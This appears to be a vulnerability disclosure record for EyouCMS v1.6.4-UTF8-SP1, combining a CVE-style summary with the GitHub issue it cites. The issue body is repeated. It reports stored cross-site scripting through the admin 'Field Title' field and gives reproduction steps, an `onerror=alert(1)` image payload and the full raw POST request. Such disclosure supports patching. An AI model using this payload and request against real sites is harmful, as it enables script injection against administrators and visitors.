A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Field Title field at /login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn.
cpe:2.3:a:eyoucms:eyoucms:1.6.4:*:*:*:*:*:*:*
8E52879A-3ABB-441B-B6A9-A91E6C700778
OR
**Version**:
<=EyouCMS-V1.6.4-UTF8-SP1
![20230823184917](https://github.com/weng-xianhu/eyoucms/assets/72898290/4c14b7a3-5445-460e-a5da-2ad47ccecff6)

**Description**:
1. Log in to the backend with an administrator account, click on "Feature Map" and add "Column Fields".
![20230823203513](https://github.com/weng-xianhu/eyoucms/assets/72898290/9fcc7634-5fa9-4b6c-8504-3bbd70ebe494)
2. Select "Column Fields", click "Add Field", set the value of "Field Title" to `<img src=1 onerror=alert(1)>`, and fill in the other fields arbitrarily.
![20230823204835](https://github.com/weng-xianhu/eyoucms/assets/72898290/4cd7b7d9-316f-4877-829a-e1acdbc4b28d)
      ```
      POST /EyouCMS/login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn HTTP/1.1
      Host: 192.168.3.135
      Content-Length: 131
      Accept: application/json, text/javascript, */*; q=0.01
      X-Requested-With: XMLHttpRequest
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      Origin: http://192.168.3.135
      Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Field&a=arctype_add&lang=cn
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; admin-treeClicked-Arr=%5B%5D; workspaceParam=arctype_index%7CField
      Connection: close
      
      title=<img src=1 onerror=alert(1)>&name=aaaaaaaa&dtype=text&dfvalue=aaaaaa&remark=aaaaaaaaaa&typeids%5B%5D=8&channel_id=-99
      ```
3. Then select "Column Fields" and a pop-up window will appear.
![20230823205325](https://github.com/weng-xianhu/eyoucms/assets/72898290/1a0b44e8-a8cd-40ca-9500-670fafd58d56)
EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting
This is a GitHub Issue
repo:eyoucms
owner:weng-xianhu
Title : EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting
Issue date:

--- start body ---
**Version**:
<=EyouCMS-V1.6.4-UTF8-SP1
![20230823184917](https://github.com/weng-xianhu/eyoucms/assets/72898290/4c14b7a3-5445-460e-a5da-2ad47ccecff6)

**Description**:
1. Log in to the backend with an administrator account, click on "Feature Map" and add "Column Fields".
![20230823203513](https://github.com/weng-xianhu/eyoucms/assets/72898290/9fcc7634-5fa9-4b6c-8504-3bbd70ebe494)
2. Select "Column Fields", click "Add Field", set the value of "Field Title" to `<img src=1 onerror=alert(1)>`, and fill in the other fields arbitrarily.
![20230823204835](https://github.com/weng-xianhu/eyoucms/assets/72898290/4cd7b7d9-316f-4877-829a-e1acdbc4b28d)
      ```
      POST /EyouCMS/login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn HTTP/1.1
      Host: 192.168.3.135
      Content-Length: 131
      Accept: application/json, text/javascript, */*; q=0.01
      X-Requested-With: XMLHttpRequest
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      Origin: http://192.168.3.135
      Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Field&a=arctype_add&lang=cn
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; admin-treeClicked-Arr=%5B%5D; workspaceParam=arctype_index%7CField
      Connection: close
      
      title=<img src=1 onerror=alert(1)>&name=aaaaaaaa&dtype=text&dfvalue=aaaaaa&remark=aaaaaaaaaa&typeids%5B%5D=8&channel_id=-99
      ```
3. Then select "Column Fields" and a pop-up window will appear.
![20230823205325](https://github.com/weng-xianhu/eyoucms/assets/72898290/1a0b44e8-a8cd-40ca-9500-670fafd58d56)
--- end body ---

comments :
--- start comments ---

--- end comments ---